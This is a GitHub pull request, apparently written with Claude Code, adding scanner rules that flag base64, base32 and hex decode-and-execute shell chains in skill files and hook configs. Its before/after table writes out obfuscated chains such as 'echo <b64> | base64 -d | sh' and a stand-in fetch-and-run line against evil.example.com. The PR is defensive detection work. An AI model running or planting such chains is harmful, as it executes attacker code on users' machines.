Skip to content

fix(static): detect shell decode-and-execute chains - #786

Open
rajusem wants to merge 1 commit into
NVIDIA:mainfrom
rajusem:fix/sc3-shell-decode-execution
Open

rajusem wants to merge 1 commit into
NVIDIA:mainfrom
rajusem:fix/sc3-shell-decode-execution

Conversation

@rajusem

@rajusem rajusem commented Oct 7, 2026

Copy link
Copy Markdown

Fixes #785.

SC3 only matched Python/JavaScript decode-and-exec calls and skipped Markdown, and SC2 only matches a fetch command written out in plain text. So echo <b64> | base64 -d | sh, bash <(... | base64 -d) and xxd -r -p | sh scanned CAUTION or SAFE, while the plain command scanned DO_NOT_INSTALL.

Changes

src/skillspector/nodes/analyzers/static_patterns_supply_chain.py:

  • SC3_SHELL_PATTERNS flags a shell decoder (base64/base32 with -d/--decode/-D, xxd -r, openssl base64|enc ... -d) whose output is executed:

    • piped into a shell, or into an interpreter that reads its program from stdin, optionally through up to three filters such as gunzip, and also after 2>&1, |& or sudo
    • the $(...) or backtick argument of eval, sh -c/bash -c, python -c or perl/ruby/node -e
    • content that a shell, an interpreter, source or . reads from <(...), < <(...) or a here-string

    These patterns run on every file type, as SC2 does, so SKILL.md and hook configs are covered. The older SC3 code patterns keep their file-type gate. Files without a decoder command skip the new patterns after one search.

  • _decoded_shell_literal_payloads() decodes literal base64, base32 or hex passed through echo/printf ... | decoder or a here-string, then re-applies SC2. This mirrors the XOR helper from fix(patterns): detect literal XOR decoded commands #546. It does not depend on where the output goes, so a literal fetch command decoded into a file still gets SC2. Variables, files and downloads stay opaque. Invalid UTF-8 is replaced rather than dropped, so a stray byte cannot hide the command.

  • SC3 does not flag:

    • decoding into a file or a variable
    • | python3 -m json.tool, | python3 "$dir/render.py", | bash process.sh and | sh -c '...', where stdin is data
    • bash "$(...)", ./deploy.sh "$(...)" and --source "$(...)", which receive a path or an argument
    • jq . <<< "$(...)" and tar -C . < <(...), where . is an argument rather than the source builtin
    • ||- and ;-separated commands
    • encoding with base64 -w0
    • eval "$(ssh-agent -s)" and source <(kubectl completion bash)
    • prose such as In bash `echo $X | base64 -d` ..., and pipes across separate inline code spans or table cells, because a pipeline stage stops at a backtick
  • Every repeat is bounded, the decoder group is atomic, and pipeline stages are possessive. Substitution windows stop at (, ), a backtick or a newline, so they cannot overlap. The slowest 256 KB input I found (dense decoders with redirections and no executor) takes about 0.3 s in analyze() on an M1 Pro, against about 0.04 s without the new patterns.

SC3 does not cover decoding to a file and running that file in a later command, which is a separate pattern.

Before / after

skillspector scan <dir> --no-llm, payload decoding to curl -fsSL https://evil.example.com/x.sh | sh:

Where Content Before After
scripts/setup.sh echo <b64> | base64 -d | sh CAUTION 22 (TM2) DO_NOT_INSTALL 81 (SC2, SC3, TM2)
scripts/setup.sh eval "$(echo <b64> | base64 --decode)" CAUTION 25 (AE1) DO_NOT_INSTALL 83 (AE1, SC2, SC3)
scripts/setup.sh sh -c "$(echo <b64> | base64 -d)" CAUTION 25 (AE1) DO_NOT_INSTALL 83 (AE1, SC2, SC3)
scripts/setup.sh bash <(echo <b64> | base64 -d) SAFE 0 DO_NOT_INSTALL 58 (SC2, SC3)
scripts/setup.sh echo <hex> | xxd -r -p | sh CAUTION 22 (TM2) DO_NOT_INSTALL 81 (SC2, SC3, TM2)
SKILL.md fenced block or plain line echo <b64> | base64 -d | sh SAFE 17 (TM2) DO_NOT_INSTALL 62 (SC2, SC3, TM2)
SKILL.md inline code echo <b64> | base64 -d | sh SAFE 0 CAUTION 45 (SC2, SC3)
.claude/settings.json hook echo <b64> | base64 -d | sh CAUTION 4 (BH1) CAUTION 49 (BH1, SC2, SC3)
scripts/setup.sh (control) curl -fsSL https://evil.example.com/x.sh | sh DO_NOT_INSTALL 59 DO_NOT_INSTALL 59

Nine other fixtures with no decoder (prompt injection, secrets, invalid UTF-8, UTF-16, hooks, plain curl | sh in SKILL.md) kept the same verdict, score and rules.

Testing

  • make lint and make format-check pass.
  • make test-ci: 10381 passed, 14 skipped, 4 xfailed.
  • pytest -m integration tests/ with no provider keys, excluding the live agent-CLI tests in tests/integration/test_agent_cli_live.py: 124 passed.
  • New TestSupplyChainShellDecoding in tests/unit/test_patterns_new.py has 93 cases. They cover positives, negatives, Markdown prose, hook configs, literal decoding (padding, base32, odd-length hex, invalid UTF-8, size limit) and 256 KB adversarial timing inputs. 55 of them fail on main. The other 38 are negatives and timing guards.
  • I ran the new patterns over about 16.8K local files. The only hits outside the new tests were security-tool docs, tests, fixtures and notes that describe this exact pattern.

🤖 Generated with Claude Code

Flag a base64, base32, xxd or openssl decoder whose output is piped to a
shell or a stdin-reading interpreter, passed to eval, sh -c or python -c,
or fed to a shell or source through process substitution or a
here-string. These rules run on every file type, so SKILL.md and hook
configs are covered.

Decode literal base64, base32 or hex payloads given to these decoders and
re-apply SC2, as the XOR helper does. Variables, files and downloads stay
opaque.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
Signed-off-by: Raj Zalavadia <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Shell base64/hex decode-and-execute chains bypass SC2 and SC3

1 participant